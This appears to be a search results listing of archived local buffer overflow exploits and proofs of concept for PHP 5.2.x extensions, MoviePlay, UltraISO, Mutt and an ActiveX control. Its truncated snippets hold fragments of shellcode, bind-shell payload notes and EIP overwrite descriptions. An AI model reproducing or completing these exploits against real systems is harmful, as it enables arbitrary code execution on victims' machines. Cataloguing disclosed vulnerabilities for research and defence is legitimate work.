902 matches found
PHP 5.2.3 - PHP_ntuser ntuser_getuserlist() Local Buffer Overflow (PoC)
milw0rm.com 2007-08-23...
PHP <= 5.2.3 (php_win32sti) Local Buffer Overflow Exploit
No description provided by source. ?php / Inphex 317 Bytes , Windows Command Shell Bind TCP Inline , Architecture x86 , Windows TinyXP - vm. GET /script.php HTTP/1.1\n telnet 192.168.2.32 4444 Microsoft Windows XP Version 5.1.2600 C Copyright 1985-2001 Microsoft Corp. C:\apache...
PHP <= 5.2.3 (php_win32sti) Local Buffer Overflow Exploit
Exploit for unknown platform in category local exploits ========================================================= PHP 7ffdf020 7c911005 7c9110ed 00000001 00000000 shoutz go to Kevin Finisterre / if!functionexists'winbrowsefile' die'win32std extension is not available'; $shellcode=...
PHP 5.2.3 - 'PHP_win32sti' Local Buffer Overflow (1)
7ffdf020 7c911005 7c9110ed 00000001 00000000 shoutz go to Kevin Finisterre / if!functionexists'winbrowsefile' die'win32std extension is not available'; $shellcode= "\x2b\xc9\xb1\x51\xba\xbb\xb2\xd5\x31\xda\xda\xd9\x74\x24\xf4". "\x58\x31\x50\x0e\x83\xc0\x04\x03\xeb\xb8\x37\xc4\xf7\xd7\x5c"...
PHP <= 5.2.0 (php_win32sti) Local Buffer Overflow PoC (win32)
No description provided by source. ?php // ================================================================================== // // phpwin32sti.dll PHP = 5.2.0 win32 Buffer Overflow // // x Discovery: boecke [email protected] // x Risk: Local Buffer Overflow Medium - High Risk //...
PHP 5.2.0 (Windows x86) - 'PHP_win32sti' Local Buffer Overflow
// x Risk: Local Buffer Overflow Medium - High Risk // x Notes: EDX and EIP are able to be controlled and therefore // have the potential to dictate program flow. // // x "Sangre, sonando, de rabia naci.. Who do you trust?" // //...
PHP <= 5.2.0 (php_win32sti) Local Buffer Overflow PoC (win32)
Exploit for unknown platform in category dos / poc ============================================================= PHP // x Risk: Local Buffer Overflow Medium - High Risk // x Notes: EDX and EIP are able to be controlled and therefore // have the potential to dictate program flow. // // x "Sangre,...
PHP 5.2.3 - 'snmpget()' object id Local Buffer Overflow (EDI)
http://milw0rm.com/exploits/4204 317 Bytes , Windows Command Shell Bind TCP Inline , Architecture x86 , Windows TinyXP - vm. GET /script.php HTTP/1.1\n telnet 192.168.2.32 4444 Microsoft Windows XP Version 5.1.2600 C Copyright 1985-2001 Microsoft Corp. C:\apache / if !extensionloaded"snmp" die"sn...
PHP 5.2.3 - snmpget() object id Local Buffer Overflow (EDI)
PHP 5.2.3 - snmpget object id Local Buffer Overflow EDI http://milw0rm.com/exploits/4204 317 Bytes , Windows Command Shell Bind TCP Inline , Architecture x86 , Windows TinyXP - vm. GET /script.php HTTP/1.1\n telnet 192.168.2.32 4444 Microsoft Windows XP Version 5.1.2600 C Copyright 1985-2001...
PHP mSQL (msql_connect) Local Buffer Overflow Exploit
No description provided by source. ?php / Inphex 317 Bytes , Windows Command Shell Bind TCP Inline , Architecture x86 , Windows TinyXP - vm. GET /script.php HTTP/1.1\n telnet 192.168.2.32 4444 Microsoft Windows XP Version 5.1.2600 C Copyright 1985-2001 Microsoft Corp. C:\apache /...
PHP mSQL (msql_connect) Local Buffer Overflow Exploit
Exploit for unknown platform in category local exploits ===================================================== PHP mSQL msqlconnect Local Buffer Overflow Exploit ===================================================== / if!functionexists'msqlconnect' die'mSQL extension is not available'; $ret =...
PHP 5.2.3 - 'snmpget()' Object id Local Buffer Overflow
?php //PHP = 5.2.3 snmpget object id local Buffer Overflow eip overwrite exploit //bug discovered by rgod //Original advisory: http://retrogod.altervista.org/php446snmpgetlocalbof.html //quote="rgod"more than 256 chars result in simple eip overwrite/quote //right! so here it is an exploit using e...
PHP 5.2.3 'Tidy' Extension - Local Buffer Overflow
?php //PHP 5.2.3 tidyparsestring & tidyrepairstring local //buffer overflow poc win //rgod //site: retrogod.altervista.org //quickly tested on xp sp2, worked both from the cli and on apache //let's have a look here: http://www.google.com/codesearch?hl=it&q=+tidyparsestring&sa=N if...
PHP 5.2.3 Tidy extension Local Buffer Overflow Exploit
Exploit for unknown platform in category local exploits ====================================================== PHP 5.2.3 Tidy extension Local Buffer Overflow Exploit ====================================================== ?php //PHP 5.2.3 tidyparsestring & tidyrepairstring local //buffer overflow...
MoviePlay 4.76 - .lst Local Buffer Overflow
MoviePlay 4.76 - .lst Local Buffer Overflow !/usr/bin/env ruby MoviePlay 4.76 .lst file Local buffer over-flow. Credit to n00b for writing poc code..Pmsl Tested on :Win xp sp2 eng. Vendor web site: Netfarer.com MoviePlay 4.76 Buffer-over flow reported : Jan 02 2007 12:00AM Credit goes to Parvez...
MoviePlay 4.76 - '.lst' Local Buffer Overflow
!/usr/bin/env ruby MoviePlay 4.76 .lst file Local buffer over-flow. Credit to n00b for writing poc code..Pmsl Tested on :Win xp sp2 eng. Vendor web site: Netfarer.com MoviePlay 4.76 Buffer-over flow reported : Jan 02 2007 12:00AM Credit goes to Parvez Anwar for finding the bug. MoviePlay is prone...
UltraISO 8.6.2.2011 - '.cue/'.bin' Local Buffer Overflow (2)
ultra iso exploit thomas . pollet @ gmail . com import struct scode=metasploit calc.exe shellcode "\xeb\x03\x59\xeb\x05\xe8\xf8\xff\xff\xff\x4f\x49\x49\x49\x49\x49" "\x49\x51\x5a\x56\x54\x58\x36\x33\x30\x56\x58\x34\x41\x30\x42\x36" "\x48\x48\x30\x42\x33\x30\x42\x43\x56\x58\x32\x42\x44\x42\x48\x34...
Mutt 1.4.2 - Mutt_Gecos_Name Function Local Buffer Overflow
source: https://www.securityfocus.com/bid/24192/info Mutt is prone to a local buffer-overflow vulnerability because it fails to properly bounds-check user-supplied input before using it in a memory copy operation. An attacker can exploit this issue to execute arbitrary code with the with the...
UltraISO 8.6.2.2011 - '.cue/'.bin' Local Buffer Overflow (PoC)
!/usr/bin/perl Credit:To n00b for finding this bug and writing poc. Ultra ISO stack over flow poc code. Ultra iso is exploitable via opening a specially crafted Cue file..There is A limitation that the user must have the bin file in the same dir as the cue file. This is the reason i have provided...
eastwind-overflow.txt
2007/05/05 -------------------------------------------------------------------------------------- East Wind Software advdaudio.ocx v. 1.5.1.1 'OpenDVD' method Local Buffer Overflow url: http://www.ewcad.com/ price: $249 author: shinnai mail: shinnaiatautisticidotorg site:...